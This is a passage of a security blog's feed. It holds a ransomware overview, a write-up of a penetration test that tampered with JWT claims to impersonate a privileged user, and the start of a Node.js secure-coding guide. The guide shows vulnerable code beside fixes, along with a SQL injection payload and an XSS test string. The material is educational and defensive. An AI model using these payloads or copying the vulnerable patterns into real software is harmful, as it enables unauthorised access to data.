<li><p><strong>Work Experience:</strong> Does the candidate have prior work experience before applying for this role? Work experience is one of the most significant factors in securing a cybersecurity job. You should highlight your previous work experience and how it aligns with your current professional pursuits in cybersecurity. However, be prepared to answer the common interview question: "What is your reason for switching to cybersecurity?" Your ability to explain this transition passionately can convince HR to take a chance on you.</p>
</li>
<li><p>The key is to relate your experience in your previous domain to the cybersecurity field. For example:</p>
<ol>
<li><p>A <strong>Web Developer</strong> can highlight their expertise in building systems to qualify for a Web Penetration Tester role.</p>
</li>
<li><p>A <strong>Systems Administrator</strong> can emphasize their knowledge of configuring and managing systems for an Infra Penetration Tester role.</p>
</li>
<li><p>A <strong>Network Administrator</strong> can draw on their understanding of network configurations to transition into a Network Penetration Tester role.</p>
</li>
</ol>
</li>
</ul>
<p>    In general, companies tend to prefer professionals with work experience over freshers, but you must be able to demonstrate your skills and knowledge for the role you're applying for.</p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXckwbnpaVx2OkAjMCXyGD-V97NgsdNs4oE6UmijtjY-IsoQ6reE45Ko5GouA3uoDEBviRR9Bs6uEC1rQyeXPIHRfoUUxiRPqxToLDSc7EDMKvpTyW5sPsMAIQr-omyepPvwtZfQ9g?key=3gOFOX0ceCJGXaN4sO2EZg" alt="The sad truth! When did you land your first job in cyber? : r/hacking" class="image--center mx-auto" /></p>
<ul>
<li><p><strong>Internal Switch</strong>: As a working professional, you may have the opportunity to switch internally within your organization. If there is an opening in the cybersecurity department, you can recommend yourself for the role to HR. However, before approaching HR, it’s a good idea to first have a conversation with the department head or project manager to express your interest and gather any insights about the role. This proactive approach can increase your chances of making a successful internal transition.</p>
</li>
<li><p><strong>Referrals</strong>: As mentioned earlier, referrals play a crucial role in securing a job in cybersecurity. As a working professional, obtaining referrals is generally easier than it is for freshers. Having a referral from someone within the company can significantly boost your chances of getting noticed, as it serves as a strong endorsement of your skills. For more details, refer to the "Referrals" section earlier in this blog.</p>
</li>
</ul>
<p>Consider all the factors mentioned above when applying for a cybersecurity role, whether you are a fresher or a working professional. Incorporating these parameters into your skillset will undoubtedly strengthen your resume and increase your chances of being selected for a cybersecurity position. Best of luck on your cybersecurity journey! Don’t forget to follow <a target="_blank" href="https://www.linkedin.com/in/rehan-shaikh-258385217/">Me</a> and <a target="_blank" href="https://linktr.ee/breachforce">Breachforce</a> on LinkedIn for more insightful content!</p>
]]></content:encoded></item><item><title><![CDATA[Ransomware : The Growing Threat]]></title><description><![CDATA[Today, ransomware attacks have become one of the most destructive cyber threats we face. These attacks disrupt operations, steal sensitive data, and cause millions of dollars in damages. Whether in healthcare, finance or any sector; no industry is le...]]></description><link>https://breachforce.net/ransomware</link><guid isPermaLink="true">https://breachforce.net/ransomware</guid><category><![CDATA[REvil]]></category><category><![CDATA[Sodinokibi]]></category><category><![CDATA[phishing emails]]></category><category><![CDATA[ransomware]]></category><category><![CDATA[Ransomware-as-a-Service (RaaS)]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[Ryuk]]></category><category><![CDATA[wannacry]]></category><category><![CDATA[raas]]></category><category><![CDATA[#CyberThreats]]></category><category><![CDATA[attacks]]></category><category><![CDATA[databreach]]></category><category><![CDATA[encryption]]></category><category><![CDATA[Malware]]></category><category><![CDATA[Double Extortion]]></category><dc:creator><![CDATA[Jayant yadav]]></dc:creator><pubDate>Sat, 14 Dec 2024 18:30:37 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1732525291780/3e215c8d-00f8-4a9d-8259-358cb7b04c7b.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Today, ransomware attacks have become one of the most destructive cyber threats we face. These attacks disrupt operations, steal sensitive data, and cause millions of dollars in damages. Whether in healthcare, finance or any sector; no industry is left unscathed. As these attacks increase in frequency and sophistication, understanding ransomware is key to helping your organization harden its defenses before it's too late.</p>
<p>Remember <strong>WannaCry</strong> ? Back in 2017, it ripped through over 150 countries in a matter of days. Britain's National Health Service got knocked offline, causing total chaos. Since then, ransomware has only gotten worse.</p>
<p><img src="https://media.licdn.com/dms/image/v2/C5612AQEN_q8cm6h1DA/article-cover_image-shrink_720_1280/article-cover_image-shrink_720_1280/0/1520127751164?e=1738195200&amp;v=beta&amp;t=xtEkMnbzurXz4JpPR-dTYzOVgM_fTFH6FdYVUoMzhyI" alt class="image--center mx-auto" /></p>
<p>And these hackers fight dirty. They're not just encrypting your files anymore. It steals your data first and threaten to leak it if you don't pay. It's a two punch known as double extortion. Just ask companies like Travelex and Kaseya how much fun that is.</p>
<h2 id="heading-what-is-ransomware">What is Ransomware?</h2>
<p>At its core, ransomware is malicious software that locks or encrypts your files, making them inaccessible. The cyber thieves, then, request a ransom, usually settled in cryptocurrency, to give a decryption key. Should you not pay, there is a risk of losing your data forever - or worse still, having it exposed in public.</p>
<p>It commonly enters systems via phishing emails and malicious attachments, as well as through vulnerabilities in outdated software. Some of the most infamous ransomware variants include WannaCry, Ryuk, and REvil (Sodinokibi), all of which have resulted in causing significant destruction through differences in attacking methods but with one common purpose: extortion.</p>
<h3 id="heading-notable-ransomware-attacks">Notable Ransomware Attacks:</h3>
<ul>
<li><strong>Ryuk</strong> (<strong>2018</strong>)</li>
</ul>
<p>Ryuk is a ransomware strain, known to be used in targeted attacks on large firms, especially organizations working in healthcare and government sectors. In 2019, Ryuk attacked the city of New Orleans, resulting in a shutdown of essential city services.</p>
<p>Whereas WannaCry was highly indiscriminate, Ryuk operates with precision and sophistication. It demands exorbitant ransom payments, often reaching millions of dollars.</p>
<p>Ryuk typically infiltrates systems through other malware like Emotet. Once inside, it encrypts critical files and demands a hefty ransom.</p>
<ul>
<li><strong>Sodinokibi (REvil) (2019)</strong></li>
</ul>
<p>REvil, also known as Sodinokibi, came out in 2019 and gained a name for its double extortion tactics: encrypting data and stealing sensitive information and threatening to release it unless a ransom is paid.</p>
<p>In 2020, REvil targeted a major financial service provider, Travelex. The attack saw a widespread disruption in ATM services. The attackers demanded $10 million, complicating the recovery process due to the compromised customer data.</p>
<p><em>Forensics Insight</em>: The double extortion technique is on the rise. Hackers encrypt files and steal sensitive data, forcing victims to choose between paying for decryption or risking the exposure of confidential information.</p>
<h2 id="heading-why-is-ransomware-getting-worse"><strong>Why Is Ransomware Getting Worse?</strong></h2>
<p>Ransomware is no longer just a nuisance - the bad guys got organized. They're running ransomware like a business now. Some groups even have customer service to help victims pay the ransom. Here's why it's getting worse:</p>
<p><strong>1. Hitting Critical Infra</strong></p>
<p>Critical sectors, namely healthcare, energy and transportation are juicy targets. Such sectors cannot afford downtime, so they are more likely to pay the ransom to avoid a major system disruption.</p>
<p><strong>2. Double Extortion</strong></p>
<p>The threat of leaked data is sometimes scarier than being locked out of files. This has brought ransomware attacks to a whole new level, double extortion meaning pressure on organizations to pay up.</p>
<p>Exemplification: The REvil Group in 2021 used double extortion to target the software firm Kaseya. They encrypted files, stole data, and threatened to leak it unless a ransom was paid. This attack targeted thousands of businesses globally, showcasing the resultant attack outcome from such an approach.</p>
<p><strong>3. Ransomware-as-a-Service (RaaS)</strong></p>
<p>Due to RaaS, even not-so-tech-savvy punks have now become able to embark on complex attacks with rented ransomware tools. As a result, most attacks are performed by organized cybercrime groups.</p>
<p>Exemplification: In 2020, the Maze ransomware group popularized RaaS, allowing criminals with minimal skills to execute large-scale attacks. This model has since been embraced by several other groups, simplifying the initiation of such operations.</p>
<h2 id="heading-how-can-you-protect-your-organization">How Can You Protect Your Organization?</h2>
<p>There’s no silver bullet, but these can make your org a harder target to attack, a multi-layered approach:</p>
<ul>
<li><p><strong>Regular Backups</strong> - Always back up critical data and store the backups securely, offsite. Always test your backups to ensure they can be restored.</p>
</li>
<li><p><strong>Patch Management</strong> - Keep your systems updated with the current security patches. Exploited vulnerabilities are one of the main entry points for ransomware.</p>
</li>
<li><p><strong>Employee Training</strong> - Because attacks often target employees, training staff to recognize suspicious emails and attachments is important.</p>
</li>
<li><p><strong>Use Endpoint Protection</strong> - Use advanced security tools such as Endpoint Detection and Response (EDR) to detect and prevent ransomware from spreading.</p>
</li>
<li><p><strong>Network Segmentation</strong> - Divide your network to limit damage in case of attack. You can confine the ransomware to a small section of your system.</p>
</li>
<li><p><strong>Multi-Factor Authentication (MFA)</strong> - MFA adds an additional layer of protection. Even if a thief steals login credentials, he won't be able to get access to your system without the second factor.</p>
</li>
<li><p><strong>Incident Response Plan</strong> - Create and periodically update an incident response plan. A well-planned strategy can reduce downtime as well as impact of an attack in general.</p>
</li>
</ul>
<h1 id="heading-should-you-pay-the-ransom">Should You Pay the Ransom?</h1>
<p>Paying the ransom may seem to be the fastest way out. But there are risks to consider:</p>
<ul>
<li><p>No guarantee of access to your files when you pay the ransom, nor will this stop attackers from leaking your data. It fuels cybercrime, making attacks more profitable and encouraging future ones by paying the ransom.</p>
</li>
<li><p>In some countries, providing a ransom may even be illegal because attackers are tied to criminal organizations against whom sanctions have been placed.</p>
</li>
</ul>
<p>Experts generally advise against paying ransoms. Instead, focus on prevention, recovery, and working with law enforcement.</p>
<h1 id="heading-conclusion">Conclusion</h1>
<p>Ransomware attacks are increasingly gaining pace, but if careful planning is taken, you can save your organization. A crucial defense against such attacks is a set of well-regularly updated backups, best security practices, as well as proper employee training. The only way to prepare for the worst is by staying informed and vigilant.</p>
]]></content:encoded></item><item><title><![CDATA[JWT Token Manipulation: A Wake-Up Call for Developers on Access Control and Data Security]]></title><description><![CDATA[Introduction

Let’s set the scene: You’re logging into a website, feeling pretty secure about your data. You trust that the developers have done everything right. Now, imagine a scenario where, with just a few small adjustments, someone can gain acce...]]></description><link>https://breachforce.net/jwt-manipulation</link><guid isPermaLink="true">https://breachforce.net/jwt-manipulation</guid><category><![CDATA[JWT token,JSON Web,Token,Token authentication,Access token,JSON token,JWT security,JWT authentication,Token-based authentication,JWT decoding,JWT implementation]]></category><category><![CDATA[ Web Application Security]]></category><category><![CDATA[breachforce]]></category><dc:creator><![CDATA[Yuvraj Todankar]]></dc:creator><pubDate>Sun, 24 Nov 2024 15:11:34 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1728402457027/24d3af08-d226-4036-b72f-352417849d3c.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-introduction">Introduction</h1>
<hr />
<p>Let’s set the scene: You’re logging into a website, feeling pretty secure about your data. You trust that the developers have done everything right. Now, imagine a scenario where, with just a few small adjustments, someone can gain access not just to your profile but to other private data and sections of the website that were never meant for them. Surprising, right? Well, that’s exactly what happened in a recent security assessment I conducted. The website I assessed was using JSON Web Tokens (JWTs) for managing user sessions. Now, JWTs are fantastic when used correctly, but a few oversights in their implementation here turned a strong security measure into a vulnerability. This blog isn’t about calling anyone out - it’s about sharing what happened so that we can all learn and implement better security practices. So, let’s walk through the process together.</p>
<h2 id="heading-identifying-jwt-based-authentication">Identifying JWT-Based Authentication</h2>
<p>It all started when I noticed how the website managed user sessions. After logging in, I saw that a small token was exchanged between the server and client: a JSON Web Token (JWT). JWTs are like the digital equivalent of a driver’s license—they contain the user's identity and their permissions in the system. They consist of:</p>
<ul>
<li><p><strong>Header</strong>: States the signing algorithm (e.g., <code>HS256</code>, <code>RS256</code>).</p>
</li>
<li><p><strong>Payload</strong>: Holds the user’s data (<code>user_id</code>, <code>role</code>, etc.).</p>
</li>
<li><p><strong>Signature</strong>: Verifies the token’s integrity.</p>
</li>
</ul>
<p>Here’s a simplified example of what a JWT looks like:</p>
<pre><code class="lang-json">eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiMTIzNDUiLCJyb2xlIjoidXNlciJ9.signature
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728401821067/0b348b6a-d19a-46a6-9cf9-84c150251bf3.png" alt /></p>
<p>This was my first clue that the application used JWTs to manage user access. Now, JWTs are great, but if not used carefully, they can be easily manipulated. This is where things started getting interesting.</p>
<h2 id="heading-decoding-the-jwt-token">Decoding the JWT Token</h2>
<p>To dig deeper, I decoded the JWT. Remember, JWTs are encoded using Base64, so decoding isn’t "hacking"—it’s just revealing what’s already there. I used jwt.io for this purpose. When decoded, I found:</p>
<ul>
<li><p><strong>User ID (</strong><code>sub</code><strong>)</strong> : A unique identifier for the user.</p>
</li>
<li><p><strong>User Role (</strong><code>role</code><strong>)</strong> : Indicates the user’s access level.</p>
</li>
<li><p><strong>Resource ID(</strong><code>resource_id</code>) : Connects to specific data within the application</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728402931927/7b024370-aa30-4f91-a3ef-379fe12c2f92.png" alt class="image--center mx-auto" /></p>
<p>At this point, I started seeing potential problems. If the application solely relies on these claims to control access, manipulating them could allow me to access unauthorized information.</p>
<h2 id="heading-finding-a-file-with-no-access-control">Finding a File with No Access Control</h2>
<p>Next, while poking around the application, I found a file that was accessible without any authentication. It contained sensitive information like:</p>
<ul>
<li><p><strong>Email address</strong>: Personal and business emails of employees.</p>
</li>
<li><p><strong>Resource ID (</strong><code>resource_id</code><strong>)</strong>: Unique identifiers linked to each user.</p>
</li>
</ul>
<p>This file should have been behind some form of access control, but it wasn’t.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728403101870/e8533c54-fe66-4cc1-bebf-171b14e3e3a4.png" alt class="image--center mx-auto" /></p>
<p>The <code>resource_id</code> was key. It suggested that the application might use it to control data access. With the right tweak, this could open a much bigger security hole.</p>
<h2 id="heading-intercepting-a-url-that-uses-the-resource-id">Intercepting a URL That Uses the Resource ID</h2>
<pre><code class="lang-bash">https://www.redacted.com/api/redacted-resources?populate[redacted_role][populate]=*&amp;populate[redacted_facilities][populate]=*&amp;filters[resourceId][<span class="hljs-variable">$eq</span>]=auth0|64e855fd6ab522fredacted
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728403541912/21cff1e6-e5b2-4953-8b22-34db887ba8ea.png" alt class="image--center mx-auto" /></p>
<p>This confirmed that the application was using the <code>resource_id</code> to control access. It meant that if I could manipulate the JWT to use a different <code>resource_id</code>, I could potentially see data belonging to other users.</p>
<h2 id="heading-manipulating-the-jwt-token">Manipulating the JWT Token</h2>
<p>Now, it was time to test this theory. I went back to <a target="_blank" href="https://jwt.io">jwt.io</a> and modified the token’s payload to include a different <code>resource_id</code> and altered other claims (like the user ID and role). Here's what I did:</p>
<ol>
<li><p><strong>Modify the Payload</strong>: Changed the <code>sub</code> (user ID) and <code>resource_id</code> to impersonate another user, possibly with higher privileges.</p>
</li>
<li><p><strong>Sign the Token</strong>: The app was using the <code>RS256</code> algorithm. During earlier investigation, I found that the server’s public key was exposed, which let me create a new, valid token.</p>
</li>
<li><p><strong>Replace the Original Token</strong>: I injected the new JWT into the request headers, replacing the original token.</p>
</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728403736743/39997b3c-c760-47f7-a5a6-fc7c524411f7.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-gaining-access-to-a-completely-different-ui">Gaining Access to a Completely Different UI</h2>
<p>With the manipulated JWT in place, I sent the request, and bingo! The server granted access to a whole new user interface meant for users with higher privileges. This confirmed that the application relied entirely on the JWT claims without additional server-side checks.</p>
<p><strong>Why This Matters</strong>: This revealed a major flaw in the application’s design—blindly trusting the JWT without server-side verification. By tampering with the token, I could gain access to settings and data that were never intended for my user role.</p>
<h2 id="heading-unearthing-more-sensitive-information">Unearthing More Sensitive Information</h2>
<p>The new UI provided access to more sensitive information, including employee records, internal settings, and healthcare facility data. This wasn’t an isolated issue; it showed a deeper problem with the application’s access control mechanisms.</p>
<p><strong>Why Screenshots of This Step Aren’t Provided</strong></p>
<p>Before we go any further, I want to point out that I won’t be sharing certain screenshots for ethical reasons:</p>
<ol>
<li><p><strong>The Restricted UI</strong>: Accessing this revealed sensitive controls and data, which I can’t share without risking the application's security.</p>
</li>
<li><p><strong>The Actual Website</strong>: Identifying the website would expose it to potential exploitation and risk the privacy of its users.</p>
</li>
<li><p><strong>Additional Sensitive Information</strong>: Some information was too personal to share publicly.</p>
</li>
</ol>
<p>I hope you understand that some things must remain private to protect those involved.</p>
<h1 id="heading-the-importance-of-access-control-and-data-obfuscation">The Importance of Access Control and Data Obfuscation</h1>
<hr />
<p>Now, let's talk about what this means. This case highlights just how crucial access control and data obfuscation are. JWTs are a fantastic tool for managing user sessions, but they need to be used with caution. Here are the key lessons from this assessment:</p>
<h3 id="heading-1-access-control-why-its-non-negotiable">1. <strong>Access Control: Why It’s Non-Negotiable</strong></h3>
<p>Access control is the cornerstone of application security. It’s what defines who can access what within your application. In this scenario, the application relied solely on the JWT's content for access control, without verifying the user’s permissions server-side. This was a critical oversight.</p>
<p><strong>Why It Matters:</strong></p>
<ul>
<li><p><strong>Don’t Trust the Client</strong>: Never trust data that comes from the client side (like JWT claims) without verifying it on the server. Otherwise, an attacker who can manipulate a token gains access they shouldn’t have.</p>
</li>
<li><p><strong>Enforce Granular Permissions</strong>: Use role-based access control (RBAC) or attribute-based access control (ABAC) to ensure each user can only access what they’re supposed to.</p>
</li>
</ul>
<h3 id="heading-2-data-obfuscation-minimising-data-exposure">2. <strong>Data Obfuscation: Minimising Data Exposure</strong></h3>
<p>This application exposed sensitive information like resource_id and email addresses through publicly accessible endpoints. This data was used to manipulate the token and gain unauthorised access.</p>
<p><strong>Why It Matters:</strong></p>
<ul>
<li><p><strong>Limit Data Exposure</strong>: Only share what’s absolutely necessary with the client. Avoid including sensitive identifiers in JWTs or public API responses.</p>
</li>
<li><p><strong>Use Obfuscation Techniques</strong>: Obfuscate identifiers like resource_id to make it harder for attackers to guess or misuse them.</p>
</li>
</ul>
<h1 id="heading-a-call-to-developers-building-a-security-first-mindset">A Call to Developers: Building a Security-First Mindset</h1>
<hr />
<p>Alright, developers and security professionals, listen up: security is everyone’s responsibility. Here’s what you can do to build a security-first mindset:</p>
<ul>
<li><p><strong>Think Like an Attacker</strong>: Regularly test your own application with a hacker’s mindset. How would you try to break it? If you’re using JWTs, think about what an attacker might do if they could manipulate them.</p>
</li>
<li><p><strong>Enforce Server-Side Validation</strong>: Always validate access controls server-side. Never trust what the client sends you without double-checking it.</p>
</li>
<li><p><strong>Obfuscate Data</strong>: Use data obfuscation to make it harder for attackers to extract useful information. Make sure your endpoints only expose the minimal data required.</p>
</li>
</ul>
<h1 id="heading-conclusion-security-is-a-shared-responsibility">Conclusion: Security Is a Shared Responsibility</h1>
<hr />
<p>This assessment is a clear example of how small oversights can snowball into major security issues. It started with identifying JWT usage, moved through decoding and manipulating the token, and ended with unauthorised access to sensitive data.</p>
<p>To every developer and security team out there: Take access control seriously. Always verify data server-side, minimize data exposure, and use JWTs securely. The digital world we live in is increasingly vulnerable to attacks, and protecting user data isn’t just a technical requirement - it’s an ethical one.</p>
<p>By adopting a security-first mindset and continuously learning from real-world vulnerabilities, we can create applications that are not only functional but also secure and trustworthy. Every little precaution counts. Stay vigilant!</p>
]]></content:encoded></item><item><title><![CDATA[Secure Your Node.js Applications: Top 10 Critical Vulnerabilities to Identify and Prevent Major Threats]]></title><description><![CDATA[Have you ever had one of those moments when you feel confident about the code you’ve written — until a VAPT (Vulnerability Assessment and Penetration Testing) team reviews it? Suddenly you’re faced with a sea of red flags and dire warnings. Words lik...]]></description><link>https://breachforce.net/secure-your-nodejs-applications-top-10-critical-vulnerabilities-to-identify-and-prevent-major-threats</link><guid isPermaLink="true">https://breachforce.net/secure-your-nodejs-applications-top-10-critical-vulnerabilities-to-identify-and-prevent-major-threats</guid><category><![CDATA[Node.js]]></category><category><![CDATA[Security]]></category><category><![CDATA[secure coding]]></category><category><![CDATA[SQL]]></category><category><![CDATA[authentication]]></category><category><![CDATA[authorization]]></category><category><![CDATA[XSS]]></category><category><![CDATA[vulnerability]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[penetration testing]]></category><category><![CDATA[coding]]></category><category><![CDATA[coding tips]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[React]]></category><category><![CDATA[Angular]]></category><dc:creator><![CDATA[Kuldeep Yadav]]></dc:creator><pubDate>Thu, 17 Oct 2024 04:30:34 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1729100300283/49ae758e-63a4-4575-a3ac-5ba0aaed341f.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Have you ever had one of those moments when you feel confident about the code you’ve written — until a VAPT (Vulnerability Assessment and Penetration Testing) team reviews it? Suddenly you’re faced with a sea of red flags and dire warnings. Words like <em>SQL Injection, Cross-Site Scripting</em>, and <em>denial-of-service</em> are thrown around, and you’re left wondering: <em>“Is my code really that insecure? Am I that bad of a developer?”</em></p>
<p>As a developer, I hadn’t really come across such heavy security concepts before. Sure, I knew about authentication and basic access controls, but hearing terms like <em>Cross-Site Scripting</em> and <em>SQL Injection</em> thrown around like they were common knowledge was a whole new level. To be honest, it was intimidating and overwhelming— I didn’t understand half of what they were talking about. I had never really come across these heavy security concepts before. And suddenly, I realised there was a lot more to learn.</p>
<p>Instead of feeling defeated, I decided to turn it into a learning experience. I would sit next to the VAPT engineers, asking them what each issue meant and how I could fix it. I’d go back to my desk, Google each term (yep, this was before the days when we could just “ChatGPT” everything), and spend nights debugging my code, trying to make it secure enough to stand up to their scrutiny.</p>
<p>Slowly but surely, I started to understand what those vulnerabilities meant, why they mattered, and — most importantly — how to fix them. It wasn’t easy, but I knew that with every bug I squashed, I was making my app safer for our users.</p>
<p>And that’s exactly why I’m writing this guide — so that you don’t have to go through the same confusion and frustration I did. Whether you’re a seasoned developer or new to security concepts, I want to help you understand these vulnerabilities in a straightforward way and show you how to fix them in your Node.js applications. With practical examples, easy-to-digest explanations, and the right coding techniques, we’ll make sure that your apps are not just functional, but secure enough to withstand even the most rigorous VAPT review.</p>
<p>Ready to dive into the world of secure coding? Let’s make your Node.js applications bulletproof together! 🚀</p>
<h1 id="heading-what-is-vapt">What is VAPT?</h1>
<p><strong>Vulnerability Assessment and Penetration Testing (VAPT)</strong> is a process used to identify and fix security weaknesses in an application. It consists of two parts:</p>
<ul>
<li><p><strong>Vulnerability Assessment</strong>: A systematic review of the security holes present in your code.</p>
</li>
<li><p><strong>Penetration Testing</strong>: Simulated attacks on your application to see how those vulnerabilities can be exploited in the real world.</p>
</li>
</ul>
<p>Think of VAPT as a safety checkup for your code, exposing potential security flaws before an attacker does. It can be nerve-wracking, but it’s absolutely necessary to ensure your app is production-ready. In this guide, I’ll walk you through some of the most common vulnerabilities you might encounter and show you how to fix each one. Let’s secure that code, one bug at a time! 💡🔒</p>
<h1 id="heading-1-injection-attacks-sql-nosql">1. Injection Attacks (SQL, NoSQL)</h1>
<p><strong>Injection attacks</strong>, such as SQL or NoSQL injection, occur when an attacker sends input that is interpreted as part of the command by the database instead of as plain data. These attacks can result in unauthorised access, data breaches, and data corruption.</p>
<h3 id="heading-how-it-affects-your-system">How It Affects Your System</h3>
<p>An attacker might gain access to sensitive data, such as user credentials, by manipulating the input fields in your application to alter SQL or NoSQL queries. In more severe cases, SQL Injection can also be used to gain a foothold into the system, potentially leading to <em>Remote Code Execution (RCE)</em>, where an attacker can execute arbitrary code on your server. This escalates the attack from simply accessing data to potentially taking full control of the system.</p>
<p><strong>Must Watch -</strong> <a target="_blank" href="https://www.youtube.com/watch?v=R7VVwfh0Wpo">Understanding SQL Injection and RCE in Action</a></p>
<h3 id="heading-example-scenario">Example Scenario</h3>
<p>Suppose your Node.js app allows users to search for books by category:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Bad: Directly concatenating user input into SQL query</span>
app.get(<span class="hljs-string">'/books'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  <span class="hljs-keyword">const</span> category = req.query.category;
  <span class="hljs-keyword">const</span> query = <span class="hljs-string">`SELECT * FROM books WHERE category = '<span class="hljs-subst">${category}</span>'`</span>;
  db.query(query, <span class="hljs-function">(<span class="hljs-params">err, results</span>) =&gt;</span> {
    <span class="hljs-keyword">if</span> (err) {
      res.status(<span class="hljs-number">500</span>).send(<span class="hljs-string">'Error fetching data'</span>);
    } <span class="hljs-keyword">else</span> {
      res.json(results);
    }
  });
});
</code></pre>
<p>If a user sends a request with the following URL:</p>
<pre><code class="lang-http"><span class="hljs-attribute">https://api.example.com/books?category=science' OR '1'='1</span>
</code></pre>
<p>The resulting query becomes:</p>
<pre><code class="lang-sql"><span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> books <span class="hljs-keyword">WHERE</span> <span class="hljs-keyword">category</span> = <span class="hljs-string">'science'</span> <span class="hljs-keyword">OR</span> <span class="hljs-string">'1'</span>=<span class="hljs-string">'1'</span>;
</code></pre>
<p>This would return <strong>all books</strong> because the condition <code>'1'='1'</code> is always true. An attacker could further manipulate this to extract sensitive data.</p>
<h3 id="heading-good-code-practice">Good Code Practice</h3>
<pre><code class="lang-javascript"><span class="hljs-comment">// Good: Using parameterized queries to prevent SQL injection</span>
app.get(<span class="hljs-string">'/books'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  <span class="hljs-keyword">const</span> category = req.query.category;
  <span class="hljs-keyword">const</span> query = <span class="hljs-string">'SELECT * FROM books WHERE category = ?'</span>;
  db.query(query, [category], <span class="hljs-function">(<span class="hljs-params">err, results</span>) =&gt;</span> {
    <span class="hljs-keyword">if</span> (err) {
      res.status(<span class="hljs-number">500</span>).send(<span class="hljs-string">'Error fetching data'</span>);
    } <span class="hljs-keyword">else</span> {
      res.json(results);
    }
  });
});
</code></pre>
<h3 id="heading-why-this-works">Why This Works</h3>
<p>Parameterized queries ensure that user inputs are treated as values rather than part of the SQL syntax. This prevents attackers from altering the structure of the SQL statement.</p>
<h1 id="heading-2-cross-site-scripting-xss">2. Cross-Site Scripting (XSS)</h1>
<p><strong>Cross-Site Scripting (XSS)</strong> occurs when an attacker injects malicious JavaScript into your web application. This script then runs in the browser of any user who accesses the affected page, allowing attackers to steal cookies, session tokens, or other sensitive data.</p>
<h3 id="heading-how-it-affects-your-system-1">How It Affects Your System</h3>
<p>XSS can allow attackers to hijack user sessions, steal credentials, and even alter the appearance or behaviour of your web pages, significantly compromising user trust and data integrity.</p>
<h3 id="heading-example-scenario-1">Example Scenario</h3>
<p>Consider a feature in your application where users can post text that is rendered on a page:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Bad: Rendering user input without sanitization</span>
<span class="hljs-keyword">const</span> userInput = <span class="hljs-string">"&lt;script&gt;alert('XSS!')&lt;/script&gt;"</span>;
res.send(<span class="hljs-string">`User comment: <span class="hljs-subst">${userInput}</span>`</span>);
</code></pre>
<p>If user input is rendered directly, any JavaScript included by the attacker will execute when the page loads in a user’s browser.</p>
<h3 id="heading-good-code-practice-1">Good Code Practice</h3>
<pre><code class="lang-javascript"><span class="hljs-comment">// Good: Using a library to escape HTML characters</span>
<span class="hljs-keyword">const</span> <span class="hljs-built_in">escape</span> = <span class="hljs-built_in">require</span>(<span class="hljs-string">'escape-html'</span>);
<span class="hljs-keyword">const</span> userInput = <span class="hljs-string">"&lt;script&gt;alert('XSS!')&lt;/script&gt;"</span>;
res.send(<span class="hljs-string">`User comment: <span class="hljs-subst">${<span class="hljs-built_in">escape</span>(userInput)}</span>`</span>);
</code></pre>
<h3 id="heading-why-this-works-1">Why This Works</h3>
<p>Using a library like <a target="_blank" href="https://www.npmjs.com/package/escape-html"><code>escape-html</code></a> ensures that any HTML tags in user input are treated as plain text, preventing them from being executed as scripts.</p>
<h1 id="heading-3-insecure-direct-object-references-idor">3. Insecure Direct Object References (IDOR)</h1>
<p><strong>IDOR (Insecure Direct Object Reference)</strong> occurs when a user can access resources or objects directly by manipulating input values such as URL parameters without proper authorization checks. While this vulnerability is commonly found in URL parameters, it can also occur in other parts of a request, such as form inputs, headers, or cookies, wherever user input is used to directly reference resources without validation.</p>
<h3 id="heading-how-it-affects-your-system-2">How It Affects Your System</h3>
<p>IDOR can expose sensitive data to unauthorized users, such as accessing another user’s profile or viewing confidential documents.</p>
<h3 id="heading-example-scenario-2">Example Scenario</h3>
<p>Imagine an endpoint where users can view their profile:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Bad: Allowing direct access to user IDs without checks</span>
app.get(<span class="hljs-string">'/profile/:userId'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  <span class="hljs-keyword">const</span> userId = req.params.userId;
  User.findById(userId, <span class="hljs-function">(<span class="hljs-params">err, user</span>) =&gt;</span> {
    res.json(user);
  });
});
</code></pre>
<p>An attacker could alter the <code>userId</code> parameter to access other users’ data:</p>
<pre><code class="lang-http"><span class="hljs-attribute">https://api.example.com/profile/12345</span>
</code></pre>
<h3 id="heading-good-code-practice-2">Good Code Practice</h3>
<pre><code class="lang-javascript"><span class="hljs-comment">// Good: Verifying that the authenticated user can access the requested resource</span>
app.get(<span class="hljs-string">'/profile/:userId'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  <span class="hljs-keyword">const</span> userId = req.params.userId;
  <span class="hljs-keyword">if</span> (req.user.id !== userId) {
    <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">403</span>).send(<span class="hljs-string">'Access Denied'</span>);
  }
  User.findById(userId, <span class="hljs-function">(<span class="hljs-params">err, user</span>) =&gt;</span> {
    res.json(user);
  });
});
</code></pre>
<h3 id="heading-why-this-works-2">Why This Works</h3>
<p>By checking that the authenticated user’s ID matches the requested <code>userId</code>, we ensure that users can only access their own data.</p>
<h1 id="heading-4-denial-of-service-dos-vulnerabilities">4. Denial-of-Service (DoS) Vulnerabilities</h1>
